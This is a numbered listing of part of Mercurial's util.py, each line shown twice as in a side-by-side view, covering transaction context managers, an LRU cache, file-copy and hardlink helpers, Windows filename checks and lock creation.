1155 Be sure to call d = d.preparewrite() before writing to d.
1155 Be sure to call d = d.preparewrite() before writing to d.
1156 """
1156 """
1157
1157
1158 class transactional(object):
1158 class transactional(object):
1159 """Base class for making a transactional type into a context manager."""
1159 """Base class for making a transactional type into a context manager."""
1160 __metaclass__ = abc.ABCMeta
1160 __metaclass__ = abc.ABCMeta
1161
1161
1162 @abc.abstractmethod
1162 @abc.abstractmethod
1163 def close(self):
1163 def close(self):
1164 """Successfully closes the transaction."""
1164 """Successfully closes the transaction."""
1165
1165
1166 @abc.abstractmethod
1166 @abc.abstractmethod
1167 def release(self):
1167 def release(self):
1168 """Marks the end of the transaction.
1168 """Marks the end of the transaction.
1169
1169
1170 If the transaction has not been closed, it will be aborted.
1170 If the transaction has not been closed, it will be aborted.
1171 """
1171 """
1172
1172
1173 def __enter__(self):
1173 def __enter__(self):
1174 return self
1174 return self
1175
1175
1176 def __exit__(self, exc_type, exc_val, exc_tb):
1176 def __exit__(self, exc_type, exc_val, exc_tb):
1177 try:
1177 try:
1178 if exc_type is None:
1178 if exc_type is None:
1179 self.close()
1179 self.close()
1180 finally:
1180 finally:
1181 self.release()
1181 self.release()
1182
1182
1183 @contextlib.contextmanager
1183 @contextlib.contextmanager
1184 def acceptintervention(tr=None):
1184 def acceptintervention(tr=None):
1185 """A context manager that closes the transaction on InterventionRequired
1185 """A context manager that closes the transaction on InterventionRequired
1186
1186
1187 If no transaction was provided, this simply runs the body and returns
1187 If no transaction was provided, this simply runs the body and returns
1188 """
1188 """
1189 if not tr:
1189 if not tr:
1190 yield
1190 yield
1191 return
1191 return
1192 try:
1192 try:
1193 yield
1193 yield
1194 tr.close()
1194 tr.close()
1195 except error.InterventionRequired:
1195 except error.InterventionRequired:
1196 tr.close()
1196 tr.close()
1197 raise
1197 raise
1198 finally:
1198 finally:
1199 tr.release()
1199 tr.release()
1200
1200
1201 @contextlib.contextmanager
1201 @contextlib.contextmanager
1202 def nullcontextmanager():
1202 def nullcontextmanager():
1203 yield
1203 yield
1204
1204
1205 class _lrucachenode(object):
1205 class _lrucachenode(object):
1206 """A node in a doubly linked list.
1206 """A node in a doubly linked list.
1207
1207
1208 Holds a reference to nodes on either side as well as a key-value
1208 Holds a reference to nodes on either side as well as a key-value
1209 pair for the dictionary entry.
1209 pair for the dictionary entry.
1210 """
1210 """
1211 __slots__ = (u'next', u'prev', u'key', u'value')
1211 __slots__ = (u'next', u'prev', u'key', u'value')
1212
1212
1213 def __init__(self):
1213 def __init__(self):
1214 self.next = None
1214 self.next = None
1215 self.prev = None
1215 self.prev = None
1216
1216
1217 self.key = _notset
1217 self.key = _notset
1218 self.value = None
1218 self.value = None
1219
1219
1220 def markempty(self):
1220 def markempty(self):
1221 """Mark the node as emptied."""
1221 """Mark the node as emptied."""
1222 self.key = _notset
1222 self.key = _notset
1223
1223
1224 class lrucachedict(object):
1224 class lrucachedict(object):
1225 """Dict that caches most recent accesses and sets.
1225 """Dict that caches most recent accesses and sets.
1226
1226
1227 The dict consists of an actual backing dict - indexed by original
1227 The dict consists of an actual backing dict - indexed by original
1228 key - and a doubly linked circular list defining the order of entries in
1228 key - and a doubly linked circular list defining the order of entries in
1229 the cache.
1229 the cache.
1230
1230
1231 The head node is the newest entry in the cache. If the cache is full,
1231 The head node is the newest entry in the cache. If the cache is full,
1232 we recycle head.prev and make it the new head. Cache accesses result in
1232 we recycle head.prev and make it the new head. Cache accesses result in
1233 the node being moved to before the existing head and being marked as the
1233 the node being moved to before the existing head and being marked as the
1234 new head node.
1234 new head node.
1235 """
1235 """
1236 def __init__(self, max):
1236 def __init__(self, max):
1237 self._cache = {}
1237 self._cache = {}
1238
1238
1239 self._head = head = _lrucachenode()
1239 self._head = head = _lrucachenode()
1240 head.prev = head
1240 head.prev = head
1241 head.next = head
1241 head.next = head
1242 self._size = 1
1242 self._size = 1
1243 self._capacity = max
1243 self._capacity = max
1244
1244
1245 def __len__(self):
1245 def __len__(self):
1246 return len(self._cache)
1246 return len(self._cache)
1247
1247
1248 def __contains__(self, k):
1248 def __contains__(self, k):
1249 return k in self._cache
1249 return k in self._cache
1250
1250
1251 def __iter__(self):
1251 def __iter__(self):
1252 # We don't have to iterate in cache order, but why not.
1252 # We don't have to iterate in cache order, but why not.
1253 n = self._head
1253 n = self._head
1254 for i in range(len(self._cache)):
1254 for i in range(len(self._cache)):
1255 yield n.key
1255 yield n.key
1256 n = n.next
1256 n = n.next
1257
1257
1258 def __getitem__(self, k):
1258 def __getitem__(self, k):
1259 node = self._cache[k]
1259 node = self._cache[k]
1260 self._movetohead(node)
1260 self._movetohead(node)
1261 return node.value
1261 return node.value
1262
1262
1263 def __setitem__(self, k, v):
1263 def __setitem__(self, k, v):
1264 node = self._cache.get(k)
1264 node = self._cache.get(k)
1265 # Replace existing value and mark as newest.
1265 # Replace existing value and mark as newest.
1266 if node is not None:
1266 if node is not None:
1267 node.value = v
1267 node.value = v
1268 self._movetohead(node)
1268 self._movetohead(node)
1269 return
1269 return
1270
1270
1271 if self._size < self._capacity:
1271 if self._size < self._capacity:
1272 node = self._addcapacity()
1272 node = self._addcapacity()
1273 else:
1273 else:
1274 # Grab the last/oldest item.
1274 # Grab the last/oldest item.
1275 node = self._head.prev
1275 node = self._head.prev
1276
1276
1277 # At capacity. Kill the old entry.
1277 # At capacity. Kill the old entry.
1278 if node.key is not _notset:
1278 if node.key is not _notset:
1279 del self._cache[node.key]
1279 del self._cache[node.key]
1280
1280
1281 node.key = k
1281 node.key = k
1282 node.value = v
1282 node.value = v
1283 self._cache[k] = node
1283 self._cache[k] = node
1284 # And mark it as newest entry. No need to adjust order since it
1284 # And mark it as newest entry. No need to adjust order since it
1285 # is already self._head.prev.
1285 # is already self._head.prev.
1286 self._head = node
1286 self._head = node
1287
1287
1288 def __delitem__(self, k):
1288 def __delitem__(self, k):
1289 node = self._cache.pop(k)
1289 node = self._cache.pop(k)
1290 node.markempty()
1290 node.markempty()
1291
1291
1292 # Temporarily mark as newest item before re-adjusting head to make
1292 # Temporarily mark as newest item before re-adjusting head to make
1293 # this node the oldest item.
1293 # this node the oldest item.
1294 self._movetohead(node)
1294 self._movetohead(node)
1295 self._head = node.next
1295 self._head = node.next
1296
1296
1297 # Additional dict methods.
1297 # Additional dict methods.
1298
1298
1299 def get(self, k, default=None):
1299 def get(self, k, default=None):
1300 try:
1300 try:
1301 return self._cache[k].value
1301 return self._cache[k].value
1302 except KeyError:
1302 except KeyError:
1303 return default
1303 return default
1304
1304
1305 def clear(self):
1305 def clear(self):
1306 n = self._head
1306 n = self._head
1307 while n.key is not _notset:
1307 while n.key is not _notset:
1308 n.markempty()
1308 n.markempty()
1309 n = n.next
1309 n = n.next
1310
1310
1311 self._cache.clear()
1311 self._cache.clear()
1312
1312
1313 def copy(self):
1313 def copy(self):
1314 result = lrucachedict(self._capacity)
1314 result = lrucachedict(self._capacity)
1315 n = self._head.prev
1315 n = self._head.prev
1316 # Iterate in oldest-to-newest order, so the copy has the right ordering
1316 # Iterate in oldest-to-newest order, so the copy has the right ordering
1317 for i in range(len(self._cache)):
1317 for i in range(len(self._cache)):
1318 result[n.key] = n.value
1318 result[n.key] = n.value
1319 n = n.prev
1319 n = n.prev
1320 return result
1320 return result
1321
1321
1322 def _movetohead(self, node):
1322 def _movetohead(self, node):
1323 """Mark a node as the newest, making it the new head.
1323 """Mark a node as the newest, making it the new head.
1324
1324
1325 When a node is accessed, it becomes the freshest entry in the LRU
1325 When a node is accessed, it becomes the freshest entry in the LRU
1326 list, which is denoted by self._head.
1326 list, which is denoted by self._head.
1327
1327
1328 Visually, let's make ``N`` the new head node (* denotes head):
1328 Visually, let's make ``N`` the new head node (* denotes head):
1329
1329
1330 previous/oldest <-> head <-> next/next newest
1330 previous/oldest <-> head <-> next/next newest
1331
1331
1332 ----<->--- A* ---<->-----
1332 ----<->--- A* ---<->-----
1333 | |
1333 | |
1334 E <-> D <-> N <-> C <-> B
1334 E <-> D <-> N <-> C <-> B
1335
1335
1336 To:
1336 To:
1337
1337
1338 ----<->--- N* ---<->-----
1338 ----<->--- N* ---<->-----
1339 | |
1339 | |
1340 E <-> D <-> C <-> B <-> A
1340 E <-> D <-> C <-> B <-> A
1341
1341
1342 This requires the following moves:
1342 This requires the following moves:
1343
1343
1344 C.next = D (node.prev.next = node.next)
1344 C.next = D (node.prev.next = node.next)
1345 D.prev = C (node.next.prev = node.prev)
1345 D.prev = C (node.next.prev = node.prev)
1346 E.next = N (head.prev.next = node)
1346 E.next = N (head.prev.next = node)
1347 N.prev = E (node.prev = head.prev)
1347 N.prev = E (node.prev = head.prev)
1348 N.next = A (node.next = head)
1348 N.next = A (node.next = head)
1349 A.prev = N (head.prev = node)
1349 A.prev = N (head.prev = node)
1350 """
1350 """
1351 head = self._head
1351 head = self._head
1352 # C.next = D
1352 # C.next = D
1353 node.prev.next = node.next
1353 node.prev.next = node.next
1354 # D.prev = C
1354 # D.prev = C
1355 node.next.prev = node.prev
1355 node.next.prev = node.prev
1356 # N.prev = E
1356 # N.prev = E
1357 node.prev = head.prev
1357 node.prev = head.prev
1358 # N.next = A
1358 # N.next = A
1359 # It is tempting to do just "head" here, however if node is
1359 # It is tempting to do just "head" here, however if node is
1360 # adjacent to head, this will do bad things.
1360 # adjacent to head, this will do bad things.
1361 node.next = head.prev.next
1361 node.next = head.prev.next
1362 # E.next = N
1362 # E.next = N
1363 node.next.prev = node
1363 node.next.prev = node
1364 # A.prev = N
1364 # A.prev = N
1365 node.prev.next = node
1365 node.prev.next = node
1366
1366
1367 self._head = node
1367 self._head = node
1368
1368
1369 def _addcapacity(self):
1369 def _addcapacity(self):
1370 """Add a node to the circular linked list.
1370 """Add a node to the circular linked list.
1371
1371
1372 The new node is inserted before the head node.
1372 The new node is inserted before the head node.
1373 """
1373 """
1374 head = self._head
1374 head = self._head
1375 node = _lrucachenode()
1375 node = _lrucachenode()
1376 head.prev.next = node
1376 head.prev.next = node
1377 node.prev = head.prev
1377 node.prev = head.prev
1378 node.next = head
1378 node.next = head
1379 head.prev = node
1379 head.prev = node
1380 self._size += 1
1380 self._size += 1
1381 return node
1381 return node
1382
1382
1383 def lrucachefunc(func):
1383 def lrucachefunc(func):
1384 '''cache most recent results of function calls'''
1384 '''cache most recent results of function calls'''
1385 cache = {}
1385 cache = {}
1386 order = collections.deque()
1386 order = collections.deque()
1387 if func.__code__.co_argcount == 1:
1387 if func.__code__.co_argcount == 1:
1388 def f(arg):
1388 def f(arg):
1389 if arg not in cache:
1389 if arg not in cache:
1390 if len(cache) > 20:
1390 if len(cache) > 20:
1391 del cache[order.popleft()]
1391 del cache[order.popleft()]
1392 cache[arg] = func(arg)
1392 cache[arg] = func(arg)
1393 else:
1393 else:
1394 order.remove(arg)
1394 order.remove(arg)
1395 order.append(arg)
1395 order.append(arg)
1396 return cache[arg]
1396 return cache[arg]
1397 else:
1397 else:
1398 def f(*args):
1398 def f(*args):
1399 if args not in cache:
1399 if args not in cache:
1400 if len(cache) > 20:
1400 if len(cache) > 20:
1401 del cache[order.popleft()]
1401 del cache[order.popleft()]
1402 cache[args] = func(*args)
1402 cache[args] = func(*args)
1403 else:
1403 else:
1404 order.remove(args)
1404 order.remove(args)
1405 order.append(args)
1405 order.append(args)
1406 return cache[args]
1406 return cache[args]
1407
1407
1408 return f
1408 return f
1409
1409
1410 class propertycache(object):
1410 class propertycache(object):
1411 def __init__(self, func):
1411 def __init__(self, func):
1412 self.func = func
1412 self.func = func
1413 self.name = func.__name__
1413 self.name = func.__name__
1414 def __get__(self, obj, type=None):
1414 def __get__(self, obj, type=None):
1415 result = self.func(obj)
1415 result = self.func(obj)
1416 self.cachevalue(obj, result)
1416 self.cachevalue(obj, result)
1417 return result
1417 return result
1418
1418
1419 def cachevalue(self, obj, value):
1419 def cachevalue(self, obj, value):
1420 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1420 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1421 obj.__dict__[self.name] = value
1421 obj.__dict__[self.name] = value
1422
1422
1423 def clearcachedproperty(obj, prop):
1423 def clearcachedproperty(obj, prop):
1424 '''clear a cached property value, if one has been set'''
1424 '''clear a cached property value, if one has been set'''
1425 if prop in obj.__dict__:
1425 if prop in obj.__dict__:
1426 del obj.__dict__[prop]
1426 del obj.__dict__[prop]
1427
1427
1428 def increasingchunks(source, min=1024, max=65536):
1428 def increasingchunks(source, min=1024, max=65536):
1429 '''return no less than min bytes per chunk while data remains,
1429 '''return no less than min bytes per chunk while data remains,
1430 doubling min after each chunk until it reaches max'''
1430 doubling min after each chunk until it reaches max'''
1431 def log2(x):
1431 def log2(x):
1432 if not x:
1432 if not x:
1433 return 0
1433 return 0
1434 i = 0
1434 i = 0
1435 while x:
1435 while x:
1436 x >>= 1
1436 x >>= 1
1437 i += 1
1437 i += 1
1438 return i - 1
1438 return i - 1
1439
1439
1440 buf = []
1440 buf = []
1441 blen = 0
1441 blen = 0
1442 for chunk in source:
1442 for chunk in source:
1443 buf.append(chunk)
1443 buf.append(chunk)
1444 blen += len(chunk)
1444 blen += len(chunk)
1445 if blen >= min:
1445 if blen >= min:
1446 if min < max:
1446 if min < max:
1447 min = min << 1
1447 min = min << 1
1448 nmin = 1 << log2(blen)
1448 nmin = 1 << log2(blen)
1449 if nmin > min:
1449 if nmin > min:
1450 min = nmin
1450 min = nmin
1451 if min > max:
1451 if min > max:
1452 min = max
1452 min = max
1453 yield ''.join(buf)
1453 yield ''.join(buf)
1454 blen = 0
1454 blen = 0
1455 buf = []
1455 buf = []
1456 if buf:
1456 if buf:
1457 yield ''.join(buf)
1457 yield ''.join(buf)
1458
1458
1459 def always(fn):
1459 def always(fn):
1460 return True
1460 return True
1461
1461
1462 def never(fn):
1462 def never(fn):
1463 return False
1463 return False
1464
1464
1465 def nogc(func):
1465 def nogc(func):
1466 """disable garbage collector
1466 """disable garbage collector
1467
1467
1468 Python's garbage collector triggers a GC each time a certain number of
1468 Python's garbage collector triggers a GC each time a certain number of
1469 container objects (the number being defined by gc.get_threshold()) are
1469 container objects (the number being defined by gc.get_threshold()) are
1470 allocated even when marked not to be tracked by the collector. Tracking has
1470 allocated even when marked not to be tracked by the collector. Tracking has
1471 no effect on when GCs are triggered, only on what objects the GC looks
1471 no effect on when GCs are triggered, only on what objects the GC looks
1472 into. As a workaround, disable GC while building complex (huge)
1472 into. As a workaround, disable GC while building complex (huge)
1473 containers.
1473 containers.
1474
1474
1475 This garbage collector issue have been fixed in 2.7. But it still affect
1475 This garbage collector issue have been fixed in 2.7. But it still affect
1476 CPython's performance.
1476 CPython's performance.
1477 """
1477 """
1478 def wrapper(*args, **kwargs):
1478 def wrapper(*args, **kwargs):
1479 gcenabled = gc.isenabled()
1479 gcenabled = gc.isenabled()
1480 gc.disable()
1480 gc.disable()
1481 try:
1481 try:
1482 return func(*args, **kwargs)
1482 return func(*args, **kwargs)
1483 finally:
1483 finally:
1484 if gcenabled:
1484 if gcenabled:
1485 gc.enable()
1485 gc.enable()
1486 return wrapper
1486 return wrapper
1487
1487
1488 if pycompat.ispypy:
1488 if pycompat.ispypy:
1489 # PyPy runs slower with gc disabled
1489 # PyPy runs slower with gc disabled
1490 nogc = lambda x: x
1490 nogc = lambda x: x
1491
1491
1492 def pathto(root, n1, n2):
1492 def pathto(root, n1, n2):
1493 '''return the relative path from one place to another.
1493 '''return the relative path from one place to another.
1494 root should use os.sep to separate directories
1494 root should use os.sep to separate directories
1495 n1 should use os.sep to separate directories
1495 n1 should use os.sep to separate directories
1496 n2 should use "/" to separate directories
1496 n2 should use "/" to separate directories
1497 returns an os.sep-separated path.
1497 returns an os.sep-separated path.
1498
1498
1499 If n1 is a relative path, it's assumed it's
1499 If n1 is a relative path, it's assumed it's
1500 relative to root.
1500 relative to root.
1501 n2 should always be relative to root.
1501 n2 should always be relative to root.
1502 '''
1502 '''
1503 if not n1:
1503 if not n1:
1504 return localpath(n2)
1504 return localpath(n2)
1505 if os.path.isabs(n1):
1505 if os.path.isabs(n1):
1506 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1506 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1507 return os.path.join(root, localpath(n2))
1507 return os.path.join(root, localpath(n2))
1508 n2 = '/'.join((pconvert(root), n2))
1508 n2 = '/'.join((pconvert(root), n2))
1509 a, b = splitpath(n1), n2.split('/')
1509 a, b = splitpath(n1), n2.split('/')
1510 a.reverse()
1510 a.reverse()
1511 b.reverse()
1511 b.reverse()
1512 while a and b and a[-1] == b[-1]:
1512 while a and b and a[-1] == b[-1]:
1513 a.pop()
1513 a.pop()
1514 b.pop()
1514 b.pop()
1515 b.reverse()
1515 b.reverse()
1516 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1516 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1517
1517
1518 # the location of data files matching the source code
1518 # the location of data files matching the source code
1519 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1519 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1520 # executable version (py2exe) doesn't support __file__
1520 # executable version (py2exe) doesn't support __file__
1521 datapath = os.path.dirname(pycompat.sysexecutable)
1521 datapath = os.path.dirname(pycompat.sysexecutable)
1522 else:
1522 else:
1523 datapath = os.path.dirname(pycompat.fsencode(__file__))
1523 datapath = os.path.dirname(pycompat.fsencode(__file__))
1524
1524
1525 i18n.setdatapath(datapath)
1525 i18n.setdatapath(datapath)
1526
1526
1527 def checksignature(func):
1527 def checksignature(func):
1528 '''wrap a function with code to check for calling errors'''
1528 '''wrap a function with code to check for calling errors'''
1529 def check(*args, **kwargs):
1529 def check(*args, **kwargs):
1530 try:
1530 try:
1531 return func(*args, **kwargs)
1531 return func(*args, **kwargs)
1532 except TypeError:
1532 except TypeError:
1533 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1533 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1534 raise error.SignatureError
1534 raise error.SignatureError
1535 raise
1535 raise
1536
1536
1537 return check
1537 return check
1538
1538
1539 # a whilelist of known filesystems where hardlink works reliably
1539 # a whilelist of known filesystems where hardlink works reliably
1540 _hardlinkfswhitelist = {
1540 _hardlinkfswhitelist = {
1541 'apfs',
1541 'apfs',
1542 'btrfs',
1542 'btrfs',
1543 'ext2',
1543 'ext2',
1544 'ext3',
1544 'ext3',
1545 'ext4',
1545 'ext4',
1546 'hfs',
1546 'hfs',
1547 'jfs',
1547 'jfs',
1548 'NTFS',
1548 'NTFS',
1549 'reiserfs',
1549 'reiserfs',
1550 'tmpfs',
1550 'tmpfs',
1551 'ufs',
1551 'ufs',
1552 'xfs',
1552 'xfs',
1553 'zfs',
1553 'zfs',
1554 }
1554 }
1555
1555
1556 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1556 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1557 '''copy a file, preserving mode and optionally other stat info like
1557 '''copy a file, preserving mode and optionally other stat info like
1558 atime/mtime
1558 atime/mtime
1559
1559
1560 checkambig argument is used with filestat, and is useful only if
1560 checkambig argument is used with filestat, and is useful only if
1561 destination file is guarded by any lock (e.g. repo.lock or
1561 destination file is guarded by any lock (e.g. repo.lock or
1562 repo.wlock).
1562 repo.wlock).
1563
1563
1564 copystat and checkambig should be exclusive.
1564 copystat and checkambig should be exclusive.
1565 '''
1565 '''
1566 assert not (copystat and checkambig)
1566 assert not (copystat and checkambig)
1567 oldstat = None
1567 oldstat = None
1568 if os.path.lexists(dest):
1568 if os.path.lexists(dest):
1569 if checkambig:
1569 if checkambig:
1570 oldstat = checkambig and filestat.frompath(dest)
1570 oldstat = checkambig and filestat.frompath(dest)
1571 unlink(dest)
1571 unlink(dest)
1572 if hardlink:
1572 if hardlink:
1573 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1573 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1574 # unless we are confident that dest is on a whitelisted filesystem.
1574 # unless we are confident that dest is on a whitelisted filesystem.
1575 try:
1575 try:
1576 fstype = getfstype(os.path.dirname(dest))
1576 fstype = getfstype(os.path.dirname(dest))
1577 except OSError:
1577 except OSError:
1578 fstype = None
1578 fstype = None
1579 if fstype not in _hardlinkfswhitelist:
1579 if fstype not in _hardlinkfswhitelist:
1580 hardlink = False
1580 hardlink = False
1581 if hardlink:
1581 if hardlink:
1582 try:
1582 try:
1583 oslink(src, dest)
1583 oslink(src, dest)
1584 return
1584 return
1585 except (IOError, OSError):
1585 except (IOError, OSError):
1586 pass # fall back to normal copy
1586 pass # fall back to normal copy
1587 if os.path.islink(src):
1587 if os.path.islink(src):
1588 os.symlink(os.readlink(src), dest)
1588 os.symlink(os.readlink(src), dest)
1589 # copytime is ignored for symlinks, but in general copytime isn't needed
1589 # copytime is ignored for symlinks, but in general copytime isn't needed
1590 # for them anyway
1590 # for them anyway
1591 else:
1591 else:
1592 try:
1592 try:
1593 shutil.copyfile(src, dest)
1593 shutil.copyfile(src, dest)
1594 if copystat:
1594 if copystat:
1595 # copystat also copies mode
1595 # copystat also copies mode
1596 shutil.copystat(src, dest)
1596 shutil.copystat(src, dest)
1597 else:
1597 else:
1598 shutil.copymode(src, dest)
1598 shutil.copymode(src, dest)
1599 if oldstat and oldstat.stat:
1599 if oldstat and oldstat.stat:
1600 newstat = filestat.frompath(dest)
1600 newstat = filestat.frompath(dest)
1601 if newstat.isambig(oldstat):
1601 if newstat.isambig(oldstat):
1602 # stat of copied file is ambiguous to original one
1602 # stat of copied file is ambiguous to original one
1603 advanced = (
1603 advanced = (
1604 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1604 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1605 os.utime(dest, (advanced, advanced))
1605 os.utime(dest, (advanced, advanced))
1606 except shutil.Error as inst:
1606 except shutil.Error as inst:
1607 raise error.Abort(str(inst))
1607 raise error.Abort(str(inst))
1608
1608
1609 def copyfiles(src, dst, hardlink=None, progress=None):
1609 def copyfiles(src, dst, hardlink=None, progress=None):
1610 """Copy a directory tree using hardlinks if possible."""
1610 """Copy a directory tree using hardlinks if possible."""
1611 num = 0
1611 num = 0
1612
1612
1613 def settopic():
1613 def settopic():
1614 if progress:
1614 if progress:
1615 progress.topic = _('linking') if hardlink else _('copying')
1615 progress.topic = _('linking') if hardlink else _('copying')
1616
1616
1617 if os.path.isdir(src):
1617 if os.path.isdir(src):
1618 if hardlink is None:
1618 if hardlink is None:
1619 hardlink = (os.stat(src).st_dev ==
1619 hardlink = (os.stat(src).st_dev ==
1620 os.stat(os.path.dirname(dst)).st_dev)
1620 os.stat(os.path.dirname(dst)).st_dev)
1621 settopic()
1621 settopic()
1622 os.mkdir(dst)
1622 os.mkdir(dst)
1623 for name, kind in listdir(src):
1623 for name, kind in listdir(src):
1624 srcname = os.path.join(src, name)
1624 srcname = os.path.join(src, name)
1625 dstname = os.path.join(dst, name)
1625 dstname = os.path.join(dst, name)
1626 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1626 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1627 num += n
1627 num += n
1628 else:
1628 else:
1629 if hardlink is None:
1629 if hardlink is None:
1630 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1630 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1631 os.stat(os.path.dirname(dst)).st_dev)
1631 os.stat(os.path.dirname(dst)).st_dev)
1632 settopic()
1632 settopic()
1633
1633
1634 if hardlink:
1634 if hardlink:
1635 try:
1635 try:
1636 oslink(src, dst)
1636 oslink(src, dst)
1637 except (IOError, OSError):
1637 except (IOError, OSError):
1638 hardlink = False
1638 hardlink = False
1639 shutil.copy(src, dst)
1639 shutil.copy(src, dst)
1640 else:
1640 else:
1641 shutil.copy(src, dst)
1641 shutil.copy(src, dst)
1642 num += 1
1642 num += 1
1643 if progress:
1643 if progress:
1644 progress.increment()
1644 progress.increment()
1645
1645
1646 return hardlink, num
1646 return hardlink, num
1647
1647
1648 _winreservednames = {
1648 _winreservednames = {
1649 'con', 'prn', 'aux', 'nul',
1649 'con', 'prn', 'aux', 'nul',
1650 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1650 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1651 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1651 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1652 }
1652 }
1653 _winreservedchars = ':*?"<>|'
1653 _winreservedchars = ':*?"<>|'
1654 def checkwinfilename(path):
1654 def checkwinfilename(path):
1655 r'''Check that the base-relative path is a valid filename on Windows.
1655 r'''Check that the base-relative path is a valid filename on Windows.
1656 Returns None if the path is ok, or a UI string describing the problem.
1656 Returns None if the path is ok, or a UI string describing the problem.
1657
1657
1658 >>> checkwinfilename(b"just/a/normal/path")
1658 >>> checkwinfilename(b"just/a/normal/path")
1659 >>> checkwinfilename(b"foo/bar/con.xml")
1659 >>> checkwinfilename(b"foo/bar/con.xml")
1660 "filename contains 'con', which is reserved on Windows"
1660 "filename contains 'con', which is reserved on Windows"
1661 >>> checkwinfilename(b"foo/con.xml/bar")
1661 >>> checkwinfilename(b"foo/con.xml/bar")
1662 "filename contains 'con', which is reserved on Windows"
1662 "filename contains 'con', which is reserved on Windows"
1663 >>> checkwinfilename(b"foo/bar/xml.con")
1663 >>> checkwinfilename(b"foo/bar/xml.con")
1664 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1664 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1665 "filename contains 'AUX', which is reserved on Windows"
1665 "filename contains 'AUX', which is reserved on Windows"
1666 >>> checkwinfilename(b"foo/bar/bla:.txt")
1666 >>> checkwinfilename(b"foo/bar/bla:.txt")
1667 "filename contains ':', which is reserved on Windows"
1667 "filename contains ':', which is reserved on Windows"
1668 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1668 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1669 "filename contains '\\x07', which is invalid on Windows"
1669 "filename contains '\\x07', which is invalid on Windows"
1670 >>> checkwinfilename(b"foo/bar/bla ")
1670 >>> checkwinfilename(b"foo/bar/bla ")
1671 "filename ends with ' ', which is not allowed on Windows"
1671 "filename ends with ' ', which is not allowed on Windows"
1672 >>> checkwinfilename(b"../bar")
1672 >>> checkwinfilename(b"../bar")
1673 >>> checkwinfilename(b"foo\\")
1673 >>> checkwinfilename(b"foo\\")
1674 "filename ends with '\\', which is invalid on Windows"
1674 "filename ends with '\\', which is invalid on Windows"
1675 >>> checkwinfilename(b"foo\\/bar")
1675 >>> checkwinfilename(b"foo\\/bar")
1676 "directory name ends with '\\', which is invalid on Windows"
1676 "directory name ends with '\\', which is invalid on Windows"
1677 '''
1677 '''
1678 if path.endswith('\\'):
1678 if path.endswith('\\'):
1679 return _("filename ends with '\\', which is invalid on Windows")
1679 return _("filename ends with '\\', which is invalid on Windows")
1680 if '\\/' in path:
1680 if '\\/' in path:
1681 return _("directory name ends with '\\', which is invalid on Windows")
1681 return _("directory name ends with '\\', which is invalid on Windows")
1682 for n in path.replace('\\', '/').split('/'):
1682 for n in path.replace('\\', '/').split('/'):
1683 if not n:
1683 if not n:
1684 continue
1684 continue
1685 for c in _filenamebytestr(n):
1685 for c in _filenamebytestr(n):
1686 if c in _winreservedchars:
1686 if c in _winreservedchars:
1687 return _("filename contains '%s', which is reserved "
1687 return _("filename contains '%s', which is reserved "
1688 "on Windows") % c
1688 "on Windows") % c
1689 if ord(c) <= 31:
1689 if ord(c) <= 31:
1690 return _("filename contains '%s', which is invalid "
1690 return _("filename contains '%s', which is invalid "
1691 "on Windows") % stringutil.escapestr(c)
1691 "on Windows") % stringutil.escapestr(c)
1692 base = n.split('.')[0]
1692 base = n.split('.')[0]
1693 if base and base.lower() in _winreservednames:
1693 if base and base.lower() in _winreservednames:
1694 return _("filename contains '%s', which is reserved "
1694 return _("filename contains '%s', which is reserved "
1695 "on Windows") % base
1695 "on Windows") % base
1696 t = n[-1:]
1696 t = n[-1:]
1697 if t in '. ' and n not in '..':
1697 if t in '. ' and n not in '..':
1698 return _("filename ends with '%s', which is not allowed "
1698 return _("filename ends with '%s', which is not allowed "
1699 "on Windows") % t
1699 "on Windows") % t
1700
1700
1701 if pycompat.iswindows:
1701 if pycompat.iswindows:
1702 checkosfilename = checkwinfilename
1702 checkosfilename = checkwinfilename
1703 timer = time.clock
1703 timer = time.clock
1704 else:
1704 else:
1705 checkosfilename = platform.checkosfilename
1705 checkosfilename = platform.checkosfilename
1706 timer = time.time
1706 timer = time.time
1707
1707
1708 if safehasattr(time, "perf_counter"):
1708 if safehasattr(time, "perf_counter"):
1709 timer = time.perf_counter
1709 timer = time.perf_counter
1710
1710
1711 def makelock(info, pathname):
1711 def makelock(info, pathname):
1712 """Create a lock file atomically if possible
1712 """Create a lock file atomically if possible
1713
1713
1714 This may leave a stale lock file if symlink isn't supported and signal
1714 This may leave a stale lock file if symlink isn't supported and signal
1715 interrupt is enabled.
1715 interrupt is enabled.
1716 """
1716 """
1717 try:
1717 try:
1718 return os.symlink(info, pathname)
1718 return os.symlink(info, pathname)
1719 except OSError as why:
1719 except OSError as why:
1720 if why.errno == errno.EEXIST:
1720 if why.errno == errno.EEXIST:
1721 raise
1721 raise
1722 except AttributeError: # no symlink in os
1722 except AttributeError: # no symlink in os
1723 pass
1723 pass
1724
1724
